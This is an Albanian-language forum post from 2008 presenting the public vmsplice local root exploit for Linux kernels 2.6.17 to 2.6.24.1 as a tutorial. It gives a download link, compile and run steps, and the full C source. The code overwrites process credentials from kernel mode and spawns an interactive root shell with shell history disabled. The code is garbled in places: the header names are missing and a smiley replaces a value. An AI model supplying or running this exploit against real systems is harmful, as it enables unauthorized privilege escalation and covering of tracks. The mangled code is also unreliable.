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 vmsplice local root kernel 2.6.17 - 2.6.24.1

Shiko temėn e mėparshme Shiko temėn pasuese Shko poshtė 
AutoriMesazh
El-Fuego



Numri i postimeve : 159
Join date : 12/06/2008
Age : 104
Location : Peja Morder City

MesazhTitulli: vmsplice local root kernel 2.6.17 - 2.6.24.1   Thu Jun 12, 2008 4:04 pm

Ky eshte local root exploit qe ta mundson mu ba root pa password, nga useri i thjesht qe keni ne linux.
Vlen per berthamat e linuxit qe jan (kernel) 2.6.17 dhe 2.6.24.1

T U T O R I L A L I

Shkarkimi i exploitit:


http://www.freewebs.com/redc00de/local/vmsplice-local-root-kernel_2.6.17-2.6.24.1.c

Kompilim i exploititi
gcc -o vmsplice-local-root-kernel_2.6.17-2.6.24.1 vmsplice-local-root-kernel_2.6.17-2.6.24.1.c

Ekzekutimi i scriptes
./vmsplice-local-root-kernel_2.6.17-2.6.24.1.c


Expoliti
_________________________________________________________________________________________________________________
/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned Wink
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __KERNEL__
#include

#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)

struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024];

void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif

#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + Cool + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}

exit_kernel();
}

void exit_code()
{
if (getuid() != 0)
die("wtf", 0);

printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
die("!@#$", 0);

/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);

pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;

/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);

pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;

/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);

/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);

/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);

iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;

signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
---------------------------------------------------------------------------------------------------------------------------------------


Nese gjithcka shkon ne rregull ateher beshesh root

uid=0(root) gid=0(root)
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Shiko profilin e anėtarit
 
vmsplice local root kernel 2.6.17 - 2.6.24.1
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